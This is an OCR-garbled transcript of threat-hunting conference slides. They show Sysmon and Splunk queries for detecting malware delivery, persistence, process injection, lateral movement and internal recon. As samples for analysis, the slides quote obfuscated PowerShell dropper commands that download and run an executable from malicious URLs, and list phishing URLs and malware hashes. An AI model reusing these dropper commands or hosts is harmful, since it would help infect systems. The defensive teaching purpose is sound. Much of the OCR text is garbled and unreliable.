http://173.255.229.121:443/ [hﬂ,r a js file that was downloaded from : 71
http://178.79.177.141:443/ | “hitp://2626.cojplo2__co_ uk_ myo2_ bill__email 9814536687/
http://188.68.58.8:8080/ http:/fwww.ziyufang. studio/linglu/wp-content/plugins/wordpress-importerfo2  co|
http://garyhotko.com/o2 _co  uk_ _myo2  bill__email 1014347050/
http://drexeldrug.com/o2__co__uk_ myo2 bill _email 3929955153/
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index=sysmon SourceName="Microsoft-Windows-Sysmon" EwventCode="1"
(powershell.exe OR cmd.exe)

| eval CommandLine2=replace (CommandLine,"[ '+\"\*]","")

| search (Image="~*\\powershell.exe" OR age="*\\cmd.exe")
CommandLine2="*WebClient*" CommandLineXx>="*DownloadFile*"

"C:\Windows\System32\cmd.exe" /c powershell -comma "New-Object
Net .WebClient")) .|("'Do' + 'wnloadfile'")].invoke (
'http://unofficialhr.top/tv/homecooking/tenderloin.php
'C:\Users\***\AppData\Local\Temp\spasite.exe'); &

"C:\Users\***\AppData\Local\Temp\spasite.exe"

Remove all
obfuscation chars

CommandLine2:
C:\Windows\System32\cmd.exe/cpowershell-command ( (New-ObjectNet.WebClient)) .
(Downloadfile) invoke (http://unofficialhr.top/tv/homecooking/tenderloin.php,
C:\Users\purpural\AppData\Local\Temp\spasite.exe) ;&
C:\Users\purpural\AppData\Local\Temp\spasite.exe

—> De-obfuscate simple obfuscation techniques

Are all (obfuscation) problems solved?
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cmd.exe /c powershell -c $Seba = ('exe'); $sad = ('wnloa'); (( New-Object
Net .WebClient )).( 'Do' + $sad + 'dfile' ).invoke(
'http://golub.histosol.ch/bluewin/mail/inbox.php’
'C:\Users\*****\AppData\Local\Temp\doc.' + $eba);
start ('C:\Users\*****\AppData\Local\Temp\doc."' + Seba)

«De-obfuscated»:

powershell-cSeba= (exe) ; $sad=(wnloa) ; ( (New-ObjectNet.WebClient)) .|(Do$saddfile)
.invoke (http://golub.histosol.ch/bluewin/mail/inbox.phpC:\Users\*¥ ¥ **\AppData
\Local\Temp\doc.S$eba); start (C:\Users\*****\AppData\Local\Temp\goclSeba)

ILNK with Powershell command

- embedded in DOCX file (oleObject.bin) Query doesn’t match

«DownloadFile»
Sample from 2016-11-18
d8af6037842458f778%aabb30d6daefb Abrechnung # 5616147.docx
2b9cT71feb5fl21ea8234aca801c3bb0d9 Beleg Nr. 892234-32.1nk

Strings from oleObject.bin:
E:\TEMP\G\18.11.16\chl\golub\Beleg Nr. 892234-32.1nk
C:\Users\azaz\AppData\Local\Temp\Beleg Nr. 892234-32.1nk
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index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode=1l

[

search index=sysmon SourceName="Microsoft-Windows-Sysmon"
EventCode=3 Image="*\\Users\\*"
DestinationHostname="proxy.fqgdn"
| stats by ComputerName ProcessGuid
| fields ComputerName ProcessGuid
1
fields Hashes ComputerName Image ParentImage
rex field=Hashes ".*MD5=(?<MD5>[A-F(0-9]*), IMPHASH= (?<IMPHASH>[A-F0-9]*)"
rex field=Image ".*\\\\Users\\\\ (?<username>["\\\\]+) \\\\.*"
rex field=Image ".*\\\\+ (?<proc_name>["\\\\]+\. [eE] [xX] [eE]) .*"
rex field=ParentImage ".*\\\\+ (?<pproc_name>["\\\\]+\. [eE] [xX] [eE]) .*"
stats dc (ComputerName) AS CLIENTS, dc(MD5) AS CNT MDS,
dc (Image) AS CNT IMAGE, values (username) AS Users,
values (ComputerName) AS Computers, wvalues(MD5) AS MDS5,
values (proc name) AS proc name, values (pproc name) AS pproc name
by IMPHASH
| where CLIENTS < 15
| sort —-CLIENTS

* IMPHASH = Import Hash
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index=sysmon SourceName="Microsoft-Windows-Sysmon"
EventCode=3 Initiated=true Sourcelp!=DestinationIp
DestinationPort=445 Image!=System
(SourceHostname="WS*" DestinationHostname="WS*") OR
(SourcelIp="10.10.* . *" DestinationIp="10.10.%*_*")
| stats by ComputerName ProcessGuid
| fields ComputerName ProcessGuid
« Search for network connections
— SMB protocol (dst port 445)
— Source and destination are workstations (hostname or IP)

— Use «ProcessGuid» to correlate with other event types (proc’s)

« Search for legitimate SMB servers (filers, NAS)
— Create «whitelist» to exclude as legit dest
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CS_Lateral Movement psexec

10/18/2016 11:17:12 PM
LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon
EventCode=1

EventType=4

Type=Tnformation C:\Windows\system32\services.exe

- \\127.0.0.1\ADMINS\8cOcb58.exe

Message=Process Create: —_—
Image: \\127.0.0.1\ADMINS$\8cOcb58.exe
CommandLine: \\127.0.0.1\ADMINS$\8c0Ocb58.exe
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

IntegritylLevel: System

ParentImage: C:\Windows\system32\services.exe
ParentCommandLine: C:\Windows\System32\services.exe

# Search for admin share names in image paths
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CS_Lateral Movement psexec

10/18/2016 11:17:13 PM
LogName=Microsoft-Windows-Sysmon/Operational
SourceName=Microsoft-Windows-Sysmon
EventCode=1
EventType=4
Type=Information

C:\Windows\system32\services.exe
2> \\127.0.0.1\ADMINS$\8c0Ocb58.exe
- C:\Windows\system32\rundl1l32.exe

Message=Process Create:
Image: C:\Windows\SysWOW64\rundll32.exe
CommandLine: C:\Windows\System32\rundl1l32.exe
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

IntegritylLevel: System

ParentImage: \\127.0.0.1\ADMINS\8cOcb58.exe
ParentCommandLine: \\127.0.0.1\ADMINS\8cOcb58.exe

# Search for admin share names in image paths
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CS_Lateral Movement psexec

10/18/2016 11:17:13 PM
LogName=Microsoft-Windows-Sysmon/Operational
SourceName=Microsoft-Windows-Sysmon

EventCode=8

EventType=4 \\127.0.0.1\ADMINS\8c0Ocb58.exe

Type=Information # C:\Windows\system32\rundl132.exe

c e P
Message=CreateRemoteThread detected:

SourceProcessId: 29340

SourceImage: \\127.0.0.1\ADMINS$\8cOcb58.exe
TargetProcessId: 18476

TargetImage: C:\Windows\SysWOW64\rundll32.exe
NewThreadId: 20060

StartAddress: 0x0000000000110000
StartFunction:

* Search for rarest source or target images from proc injection
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CS_Keylogger injection

10/26/2016 11:56:32 PM
LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=8 s
EventType=4 C:\Windows\SysWOW64\rundl132.exe

Type=Information # C:\Windows\system32\winlogon.exe

c e P
Message=CreateRemoteThread detected:

SourceProcessId: 17728

SourcelImage: C:\Windows\SysWOW64\rundll32.exe
TargetProcessId: 836

TargetImage: C:\Windows\System32\winlogon.exe
NewThreadId: 14236

StartAddress: 0x0000000000C20000
StartFunction:

# Suspicious proc injection into «winlogon.exe»
* Steal user’s password while logging on or unlocking screensaver
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Hunting for Delivery of Malware

‘\

+* Malicious files downloaded via Browser

* Sysmon «FileCreateStreamHash» events generated

* Remember the malicious JS files from email links? (Heodo/Emotet)
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* Remember that JS Filename from before?

— Let’s hunt for that... (DHL__Report *.js)

index=[__—] Sourcelame="Microsoft-Windows-5ysmon” FileCreateStreamHash
DHL_ Report_ *

cearch EventCode=15

|

| rex field=TargetFilename ".*\\AWAW(7P<TargFilename>[A44Whh]*)"

| rex field=Image ".*\‘\\\(7=<ImageFilename=[AWWih]* )"

| rex field=Hash " *MD5S=(7<MD5>[A-FO-9]*), IMPHASH=(?<IMPHASH=[A-FO-9]*)"
| stats walues(TargFilename) valuesi{ComputerMame) A% Clients

count by TaskCategory ImageFilename MDS
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TaskCateqory # | ImageFilename

File stream created (rule:  iexplore.exe
FileCreateStreamHash)

File stream created (rule:  iexplore.exe
FileCreateStreamHash)

File stream created (rule:  iexplore.exe

FileCreateStreamHash)

MDS = Fq

B4E1TCAFTEBATFOT M B052CTAYI0DBADS

5467041 5C5EET43EERODTTAFGFTE935808

CE3CT0AIZEDTEECEZB9LCEBLCERAARTA

values(TargFilename) = !kclients 20 BRI -
DHL_Report__7e75787235__Di__Apr__ 04 2017 = | ' v}
DHL_Report__ 7575787235 Di__Apr__ 04 2017 |=.1dqcod3 partial
DHL_Report__7a75787235__Di__Apr__ 04 2017 j=.3mw|Slb.partial
DHL_Report__7A7RTET236__Di__Apr__ 04 2017 |s.muiudox partial
DHL__Report__3290768845__Mi__Apr__ 05 2017 js.q4410pq.partial | | ' 1
DHL__Report__76136729384_Di___Apr__04__ 2017 js.6xpaanq.partial | | | 1
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b2

SHAZER:
File narme:
Detection ratio:

Analysis date:

@ File identification

total

451261 ead7b7B0a321 dofh2 12f2dcB3360a 19007 col1 7 febel1b3837 4bbooe?
OHL  nurmer_ zlecenia_ 3947386047 kwi 04 2017 s
34 /a7

2017-04-14 0B:54:15 UTC ({5 days, 15 hours ago )

= Analysis @ Additional infarmation ® Comments o L) viotes

MD5 S4e17caffba/ 14180527 270043 ad3
SHA1 73Galaar 1 cO0ab867 del2ca0022 118756957 0d0
SHAZ56

451261 ead? by 808327 defB212f2dcb336 ca 19007 oo 17 fcbel1 3857 dbboee?
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b2

SHAZGE:

total

451261 ead7b7E0a3217 defh2 12f2dcE3360a 189007 ool 7 febe01b3537 4bbooe?

File narme:
Detection ratid

Analysis date;

= Analysis L

@ File identificaf

MD5

SHA1
SHAZSG

SHAZEE: 161933797 25502 eed c9567 aclc428bhfd0fd40d 1 @8 264525.17 6805300155 d
File name: DHL  Report AB7I840701 M April 05 2017 s
Detection ratio; 31 /52

Analysis date: 2007-04-15 2005237 UTC (4 days, 1 hour ago )

B Analysis & Additional information # Comments o LA votes

@ File identification

MDA S467Ea15c5b87 430507 7 41517893308
SHA1 eaadbefbh?926febl ebdeciSbdcedd? 2683 95 e
SHA?56 161933797 2558b2eedcB867 aclcd 28hbfd0fd40d 1 e5264828 217 2S053 01515 d
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b2

SHAZGE:

total

451261 ead7b7E0a3217 defh2 12f2dcE3360a 189007 ool 7 febe01b3537 4bbooe?

File narme:
Detection ratid

Analysis date;

= Analysis L

@ File identificaf

MD5

SHA1
SHAZSG

SHAZEE:

1619337597255k eedcB867 aclcd28bbfd0fd40d 1 e5264528:17 6805301 55 d

File narme:
Detection ratio:

Analysis date:

™= Analysis L

© File identificati
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SHAZER:
File narme:
Detection ratio:

Analysis date:

= Analysis

& Additional information

c4d7 4504761683615 ed 1 ecl B4bdE4Be3bd 15459aa1 08027 11dBd967 fe1 2b 162
DHL_ Report_ 1127388376__Di_ April__04_ 2017 js
30/57

2017-04-14 0B:50:19 UTC (5 days, 15 hours ago )

® Comments o Ll votes

MDA
@ File identification
SHA1
SHAZ56 MD5 cedclla32bd?bece2b95chb2hesaafla
SHA1 52422 3eqeq91 ebd282 cochE3faRE3 by ceSfd1 25
SHA256 cdd? d5ed /5168360 ec194hdE4he3bd 15489 351 cB02 c¥ 11 dEd9E fe 12k 2
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b2

SHAZGE:

tota

451261 ead 7 b7 5083217 dofhd

File narme:
Detection ratid

Analysis date;

= Analysis L

@ File identificaf

MD5

SHA1
SHAZSG
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SHAZEE: 161937
File narme: SH
Detection ratio: Fild
Analysis date: Det
A
™= Analysis L
@ File identificati{ "
MDA
@ File
SHA1
SHA?56 )
SHA1
SHA2AH

First submission

Last submission

File names

2017-04-04 10:30:29 UTC {2 weeks, 1 day ago )
2017-04-12 15:45:21 UTC (1 week ago )

DHL _ Report_ 8114149752 Di April 04 2017 js

DHL_ Report_ 3532524945 Di_ April_04_ 2017 )=

OHL  nurmer zlecenia_ 3689611734 kw04 2017 s
DHL_ Report_ 2007517300 Di_ April__04_ 2017 .js

OHL  nurmer_ zlecenia_ BYBAR30963  kwi 04 2017 s
DHL_ Report_ 34020231435 Di_ April__04_ 2017 )=

DHL  Report_ 1465562315 Di Apr 04 2017 s

DHL_ Report_ B545054943 Di_ April__04_ 2017 )=

DHL  Report_ 7495269695 DI Apr 04 2017 s

DHL_ Report_ &7S5603901_ Di_ April__04_ 2017 .js

DHL  Report_ 177703758 Di Apr 04 2017 s

OHL  numer_ zlecenia_ ABESZ07S11 . kwi 04 2017 s
dhl  status 7304323130 Tue  Apr 04 27 s

OHL  numer_ zlecenia_ 2941575940 fowi 04 2017 =
DHL _ Report_ 8574692320 Di April_ 04 2017 s

DHL_ Report_ 21396351658 Di_ April__04_ 2017 )=

dhl_ status 7578910388 Tue  Apr 04 27 s

OHL  numer_ zlecenia_ 19958709353 lwi 04 2017 =
OHL  nurmer_ zlecenia_ BSSBESAE2E kw04 2017 s
DHL_ Report_ B384324865_ Di_ April__04_ 2017 )=

DHL _ Report_ 7395647347 D April_ 04 2017 s

OHL  numer_ zlecenia_ 7007052494 fowi 04 2017 =
OHL  nurmer_ zlecenia_ B14BE9E24E kw04 2017 s
DHL_ Report_ 9612557249 D April__04_ 2017 )=

dhl  status 277499676 Tue  Apr 04 27 s
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Detecting Persistence Methods

T E—

* Hunting for Persistence Methods

— Registry Keys

— Filesystem (e.g. Startup folders)
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# Searching for «Run» or «<cRunOnce» keys

1ndex=|: SourceName="Microsoft-Windows-5ysmon” RegistryEvent
CurrentVersion Run

| search EventCode=13 "*\\Windows\\CurrentVersion\\Run*"

)

| rex field=Image ".*\\\\(7?<Image_EXE=[A\\AA]*)"
| rex field=TargetObject ".*\\\\CurrentVersion\\\\{7<TargetObj_PATH=.*}"

| strcat "Image=\"" Image_ EXE "\", TargetObject=\"" TargetObj_PATH "\", Details=\"" Details "\""

Image_TargetObj_Details
| stats dc({ComputerName) AS Clients wvalues(Image_TargetObj_Details)
count by TaskCategory Image_EXE
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TaskCategory

Registry value
set (rule:
RegistryEvent)

Registry value
set (rule:
RegistryEvent)

Registry value
set (rule:
RegistryEvent)

Image_EXE

CiscoJabberexe

Setup_exe

GoogleUpdate exe

i

Clients «

91

13

values{lmage_TargetObj_Details) /| count

Image="CiscoJabber.exe”, TargetObject="Run\Cisco Jabber", Details=""C:\Program Files (x86)\Cisco 23
Systems\Cisco Jabber\CiscoJabber exe™

Image="Setup.exe", TargetObject="Run\AdobeAAMUpdater-1.0°, Details=""C:\Program Files (x86)\Commaon 103
Files\Adobe\DOBE\PDApp\UWA\UpdaterStartupUtility exe™

Image="Setup.exe", TargetObject="Run\AdobeBridge’, Details="(Empty)"

Image="Setup.exe", TargetObject="Run\aHScrollutility”, Details="C:\Program Files (x86)\LENOVO\ThinkPad
Compact Keyboard with TrackPoint driver\HScrollFun.exe”

Image="Setup.exe", TargetObject="Run\a0sD", Details="C:\Program Files (x88)\LENOVO\ThinkPad Compact
Keyboard with TrackPoint driver\osd exe”

Image="Setup.exe", TargetObject="Run\aRunMaincpl”, Details="C:\Program Files (x86)\LENOVO\ThinkPad
Compact Keyboard with TrackPoint driver\maincp\MainCpl exe”

Image="Setup.exe", TargetObject="Run\aSetSpeed", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact
Keyboard with TrackPoint driver\SetSpeed.exe”

Image="GoogleUpdate_ exe", TargetObject="Run\Google Update”, 9
Details="C\Users A ppData‘Local\Google\Update\GoogleUpdate. exe™ /c

Image="GoogleUpdate.exe", TargetObject="Run\Google Update”,

Details="C:\Users ppData‘\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe”
Image="GoogleUpdate.exe’, TargetObject="Run\Google Update”,
Details="C:\Users\[_———__}AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe”
Image="GoogleUpdate_ exe’, TargetObject="Run\Google Update”,
Details="C:\Users\L_WAppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore. exe
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TaskCategory Image_EXE # | Clients ~ | values{lmage_TargetObj_Details) Z | count
Registry value CiscoJabberexe 91 Image="CiscoJabber.exe”, TargetObject="Run\Cisco Jabber", Details=""C:\Program Files (x86)\Cisco 23
set (rule: Systems\Cisco Jabber\CiscoJabber exe™
ReqistryEvent)
Registry value Setup.exe 13 Image="Setup.exe’, TargetObject="Run\AdobeAAMUpdater-1.0", Details=""C:\Program Files (x86)\Commaon 103
set (rule: Files\Adobe\DOBE\PDApp\UWA\UpdaterStartupUtility exe™
RegistryEvent) Image="Setup.exe", TargetObject="Run\AdobeBridge’, Details="(Empty)"
Image="Setup.exe", TargetObject="Run\aHScrollutility”, Details="C:\Program Files (x86)\LENOVO\ThinkPad
Compact Keyboard with TrackPoint driver\HScrollFun.exe”
Image="Setup.exe", TargetObject="Run\a0sD", Details="C:\Program Files (x88)\LENOVO\ThinkPad Compact
Keyboard with TrackPoint driver\osd exe”
Image="Setup.exe", TargetObject="Run\aRunMaincpl”, Details="C:\Program Files (x86)\LENOVO\ThinkPad
Compact Keyboard with TrackPoint driver\maincp\MainCpl exe”
Image="Setup.exe", TargetObject="Run\aSetSpeed", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact
Keyboard with TrackPoint driver\SetSpeed.exe”
Registry value GoogleUpdate exe 7 Image="GoogleUpdate exe", TargetObject="Run\Google Update”, 9
set (| ] ata\Local\Google\Update\Googlelpdate.exe” /c
Rregi{ Aegistry value GoogleUpdate exe 7 |etObject="Run\Google Update",
gat {I'U|EZ A ppData‘\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe”
: etObject="Run\Google Update”,
HEQ |5'[r'_||.rE1.fE|'|Ij L ppDatat\Local\Google\Update\1.3.33.3\GoogleUpdateCore exe”
etObject="Run\Google Update”,
Image="GoogleUpdate.exe”, TargetObject="Run‘\Google Update”, g

Details=""C:\UsersE A ppData'Local\Google\Update\GoogleUpdate.exe” /c
Image="GoogleUpdate.exe”, TargetObject="Run\Google Update”,

Details="C:\Users ppData‘\Local\Google\Update\1.3.33.3\GoogleUpdateCore exe"
Image="GoogleUpdate exe’, TargetObject="Run‘Google Update”,
Details="C:\Users\ e RAppData\Local\Google\Updatel1.3.33.3\GoogleUpdateCore.exe”
Image="GoogleUpdate.exe’, TargetObject="Run\Google Update”,
Details="C:\Users\L o WA ppDatat\Local\Google\Update\1.3.33 3\GoogleUpdateCore.exe
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* Example for «ProcessCreate», not «FileCreate»

index=C___——1 SourceName="Microsoft-Windows-5ysmon” Process(Create
"5tart Menu" Programs Startup

| stats values(ComputerMame) A5 Clients wvalues(MD5)
count by IMPHASH S5tartup_Image

| search Image="*\\Microsoft\\Windows\\5tart Menu\\Programs\\5Startupii*”

| rex field=Image ".*\\\\Programs‘‘\\\Startup\‘\\\{?=<Startup_Image>[ \\\\]*)"
| rex field=Hashes ".*MD5=(7<MD5=[A-FO0-9]%), IMPHASH=(?<IMPHASH=[A-FO-9]*)"
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IMPHASH & | Startup_Image r

| 7CCSDE4BOF216307AB343372C371BFBA GoogleChromePortable.exe

B2C3C14EBABC420559F241 AASESO3FA
13703FCD46C84BD34470F350577FA3TS

Clients 4

pa total

File not found

The file you are looking for is not in our database.

Take me back to the main page Try another search
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values(MDE) ry count »
20ATE0873B6CES49108274C3ECZT53ED 13
4DOFESEDDSABASAF29FD4018ES 5
786332A126EBA30268TB202273F1138 3
This should make
—_you go «Hmmm:?»
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« Example for «FileCreate»

index=[—}SourceName="Microsoft-Windows-5ysmon” FileCreate "5tart Menu” 5tartup
| search TargetFilename="*\\5tart Menu‘\\Programs\\S5tartuphi*"

g LA fhd =k

(W]

| stats values(ComputerName) values(TargetFilename) count by Image

398 events (3/1/17 12:00:00.000 AM to 5/13/17 12:00:00.000 AM) § Mo Event Sampling

* Less than 400 results in > 2 months

— after tuning exclusion list
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Image # | values{ComputerName)

C:\Program Files (x86)\CLX PayPen II\Clx_.Epayment.Reader.exe | |

C:\Program Files (x86)\Citrix\ICA Client\SelfServicePlugin\SelfService exe

C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe I

values(TargetFilename)

C\Users{ A ppData\Roaming\Microsoft\Windows\Start
Menu'\Programs\Startup\CLX.PayPen.Ink

C:EUSEl'S‘i:lﬂppDataHFma ming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix
ReceiverInk

C:\Users\C_—JAppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix
ReceiverInk

C:\Usera\lZ’.AppData\Hc-amingWIil::rc:usoft‘aWinduws*-.Start Menu\Programs\Startup\Citrix
ReceiverInk

CAWindows\SysWOwe4\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\desktop.ini

o

count

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Seite 71




-

Image

# | values{ComputerName)

C:\Program Files (x86)\CLX PayPen II\Clx_.Epayment.Reader.exe | |

C:\Program Files (x86)\Citrix\ICA Client\SelfServicePlugin\SelfService exe

P\l Texter\texter.exe

ChUsers\T A ppDatat Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Texter.Ink

values(TargetFilename)

C\Users{ A ppData\Roaming\Microsoft\Windows\Start
Menu'\Programs\Startup\CLX.PayPen.Ink

D:EUSEl'S‘i:lﬂppDataHFma ming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix
ReceiverInk

C:\Users\C_—JAppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix
Receivernk

D:\UseraW.I:'.AppData\FmamingWIil::rc:usoft‘aWinduws*-.Start Menu\Programs\Startup\Citrix
ReceiverInk

CAWindows\SysWOwe4\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\desktop.ini
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Detecting Internal Recon

‘\

* Internal Recon used as preparation for Lateral Movement

* Legit system commands used
* Can also be used by sysadmins or users
* Baseline and find appropriate thresholds

— Number of different commands and time window
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Hunﬂrwf] For adversaries in your [T

environment
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1w threathunting.net

Lateral Movement Detection via Process Monitoring

Purpose

Find threat actors mowing laterally in the network by looking for examples of common techniques they use to orient themselves

on nevy systems.

Data Required

Windows process creation logs (security event 4688) or other similar information {e.g, EDR logs)
Collection Considerations

The more endpoints and servers from which you collect process information, the maore likely wou are to be able to find threat

actor activity.
Analysis Techniques

e Counting occurrences within a time window
Description

Several legitimate windows binaries executing within a specified time frame may indicate lateral mowvement.
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Lateral Movement Detection via Process Monitoring

Description

Several legitimate windows binaries executing within a specified time frame may indicate lateral mowvement.

As an adversary moves from machine to machine they will often want to know things like: who they are, what level of access do
they hawve, what services are running on the machine, what other machines are around them... They will often determine this by
using legitimate windows binaries. When determining this information they will typically do this in minutes ws hours regardless
if they are using a script or typing the commands on a command line, Knowing this, we can use it to our advantage. Again
focusing on windows event logs and focusing on event codes 4688/592 try to identify the following:

e netexe, ipconfigexe, whoami.exe, nbistatexe..

o Cluster x number of processes executing within a 10 minute time frame.

For the data thatis returned:

e identify the parent process and if it's legitimate?

o ‘What additional processes have executed on the machine within a 1 hour period and do any of those look suspicious? If
there are, are they owned by the same user?

e Are these spawned by the same process or process name?
e Are these processes all owned by the same user?

o [3there previous history of this activity?
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Login
Cyber
- Page Help Discussion Read View form WView source View history |593“3h Q|
Analytic
NCeleNielfd CAR-2013-04-002: Quick execution of a series of suspicious
commands
Main page
Certain commands are frequently used by malicious actors and infrequentl
CARET quently v auenty CAR-2013-04-002
Analytic List used by normal users. By looking for execution of these commands in short o
) . . - Submission Date 04112013
Contribute periods of time, we can not only see when a malicious user was on the system ) ) _
Help but also get an idea of what they were doing. Information Domain Analylic, Host
Host Subtypes Frocess
Coverage )
Data Model Contents [hide] Type TTP
Sensors 1 Qutput Description Analytic Subtypes Sequence
o 2 ATT&CK Detection Contributor MITRE
Printable version 3 Pseudocode
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Cyber
Analytic

Repository

Main p3
CARET]
Analytig
Contrib
Help

Coverag)
Data
Sens

Tools
Printd

Login

Page Help Discussion Read View form WView source View history |593fCh Q|

CAR-2013-04-002: Quick execution of a series of suspicious

Pseudocode
processes = search Process:Create
reg processes = filter processes where (exe == "arp.exe" or exe == "at.exe” or exe == "attrib.exe"
or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
or exe == "ipconfig.exe” or exe == "mimikatz.exe” or exe == "nbstat.exe”
or exe == "net.exe" or exe == "netsh.exe"” or exe == "nslookup.exe"
or exe == "ping.exe"” or exe == "quser.exe” or exe == "quwinsta.exs"
or exe == "reg.exe" or exe == "runas.exe” or exe == "scC.exe"
or exe == "schtasks.exe"” or exe == "ssh.exe" or exe == "systeminfo.exe"
or exe == "taskkill.exe" or exe == "telnet.exe"” or exe == tracert.exe"
or exe == "wscript.exe" or exe == "xcopy.exe™)
reg_grouped = group reg by hostname, ppid where(max time between two events is 38 minutes)
output reg grouped
process | create | exe
process | create | hostname
process | create | ppid
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Pr———

# 3 or more (of 7) different commands executed within 15 min

index=s[ ] sourcetype="winEventlLog:Microsoft-Windows-Sysmon/Operational” ProcessCreate
(ipconfig OR net.exe OR whoami 0OR netstat OR nbtstat OR hostname OR tasklist)

' Whitelisting "known good" processes '

| search EventCode=1

Image="*'\ipconfig.exe" OR Image="*‘‘\net.exe" OH Image="*‘‘whoami.exe" UR Image="*‘‘netstat.exe" OR

Image="*‘\nhtstat.exe" OR Image="*‘‘hostname.exe" OR Image="*‘‘tasklist.exe"
| bin _time span=15m

| rex field=Message ".*User: ([]|NT AUTHORITY )W AAS(7<USERT=. *)"

| stats dciImage) AS CMT_CMDS waluesiCommandline) walues(Parentlmage) waluesiParentCommandlLine}

count by _time ComputerName USER1

| where CNT_CMDS > 2
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i

_time ComputerName A o B e T A LB P L e
2017-03-29 17:45:00 | | NE R 6
values{CommandLineg) < walues(Parentlmage) =
hostname CAWindow s\ Sy sWowedicmd. exe
ipconfig fall

Ipconfig fdisplaydns values(ParentCommandLine) 7| count
net localgroup "Administrators" :
het session C:‘aw!ndmnrs‘xsystemﬂ‘xcmd.exe fC _husmame 15
het share C:‘-,W!ndmakayatemﬂhcmd.exe /G !pmnﬂg ,-fa!l
fiet start CAWindows\systern32icmd.exe /Cipconfig fdisplaydns
net use ChWindows\system32icmd.exe /Cnet localgroup "Administrators”
- ChWindows\systema2icmd.exe /Cnet session
Hetetal - ChWWindows\system3cmd.exe /Cnet share
tetat Chnindow s\systemn32\ooad exe /C net start
e il'a ! CMWindowshsyst md.exe /C net use
:ESM!S: iwc wornd.exe fCnet user
asklist v " "
_ wormd.exe /Cnetstat -na | findstr "ESTABLISHED
whoami 15 occurences d.exe /0 netstat -r
whoarni /all : d.exe /Ctasklist fsvc
6 diff cmds exe/Claskist/
d.exe /Ctasklist /v
Wlthln 15 mins md.exe /Cwhoami
Fhemd.exe /Cwhoami fall
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«False detections»

_time ComputerMame ©  # USER1

are possible

2017-04-0514:49:03
2017-04-0514:49:13
2017-04-0514:50:01

2017-04-05 14513

Explorer -> cmd.exe

ChNindow s\ System32hocmd.exe

| Image #  CommandLine #  ParentCommandLine

"CAWIndows\system3icmd.exe” CAWIndowstexplorerexe

[ CAWindow s\System3dwhoamiexe

ChNindow s\ System3Zinet.exe

CAWindow s\System32vpconfig.exe

whoarmi fgroups "CAWIndow s\system32omd. exe”

net localgroup Adrministratoren "CAWIndow s\system3omd. exe”

"CAWIndow s\system32cmd. exe”

Ipcontig
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Lateral Movement
.‘

* Lateral Movement using WMI for Execution

SELECTALL g CLEARALL

Command Launched from WinLogon -
CAR-2014-11-008

Execution

BVindnws

Remotely Launched Executables via WIE
CAR-2014-12-001
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| https/fattack.mitre.org/fwiki/Technigue,T1047

Windows Management Instrumentation

Windows Management Instrumentation (Wil is a Windows administration feature that provides a uniform
environment for local and remote access to Windows system components. It relies on the Wil service for local and
remote access and the server message block (SMB)] and Remote Procedure Call Service (RPCS)E far remote
access. RPCS operates over port 135 [

An adversarny can use Whl to interact with local and remote systems and Use it a5 a means to perfarm many tactic
functions, such as gathering information for Discovery and remote Execution of files as part of Lateral tovernent.[4]

Contents [hide]
1 Examples

2 Mitigation

3 Detection

4 References

Examples

« The Deep Panda group is known to utilize Wi for lateral movernent. ]
o APT29 used Whil to steal credentials and execute backdoors at a future time (€]

Lazarus Group mahvare Sierradlfa uses the windows Management Instrumentation Command-line application
winic to start itself on a target system during lateral movement [F]

stealth Falcon makware gathers systerm information wvia Windows Management Instrurmentation [WMH.[B]

The DustySky dropper uses Windows Management Instrumentation tao extract information about the operating
system and whether an anti-virus is active [

¢ A BlackEnergy 2 plug-in uses Wl to gather victim host details [1]
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) Unchecked

Windows Management Instrumentation

D
Tactic

Technigue
T1047

Execution

Platform

System
Hequirements

Permissions
Required

Data Sources

Supports
Remote

Windows Senver 2003,

Windows Server 2008,

Windows Server 2012, Windows XP,
Windows 7, Windows 8,

Windows Server 2003 Rz,
Windows Senver 2008 R2,
Windows Senver 2012 R2,
Windows Yista, Windows 8.1

Witdl service, winmamt, running.
Hostinetwork firewalls allowing ShiB
and Wl ports from source to
destination.

ShiB authentication.
User, Administratar

Authentication logs,

HetflowiEnclave netflouw,

Process command-line parameters,
Process manitaring

Yes
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@ Fire Eye Products & Services Solutions Partners

Home ™ FireEveBlogs » Threat Research Blog » Dissecting One of APT29's Fileless WMI and PowerSh_.

Dissecting One of APT29’s Fileless WMI
and PowerShell Backdoors (POSHSPY)

April 03, 2017 | by Matthew Durwoody | Threat Research, Advanced Malware

bandiant has observed ARPTZ9 using a stealtty backdoor that we call POSHSPY. POSHSPY leverages two of the tools the group
frequently uses; Powershell and YWindows Management Instrurmentation (WD 0 the investigations Mandiant has conducted, it
appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they [ost access to their primary backdoors,

POSHSPY makes the most of using built-in Windows features — so-called "living off the land" — to make an especially stealthy
backdoor. POSHSPY's use of Wil to bhoth store and persist the backdoor code makes it nearly invisible to anyone not familiar with the
intricacies of Whl. Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious
code execution can only be identified through enhanced logging or in mermoary, The backdoor's infrequent beaconing, traffic
obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make
identification of its network traffic dificult. Every aspect of POSHSPY is efficient and covert.
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YOU TUbe & Search

Challenge 4: Advanced Attack Techniques

+ Windows Management Instrumentation (WMI)
+ Attacker used WMI to persist backdoors
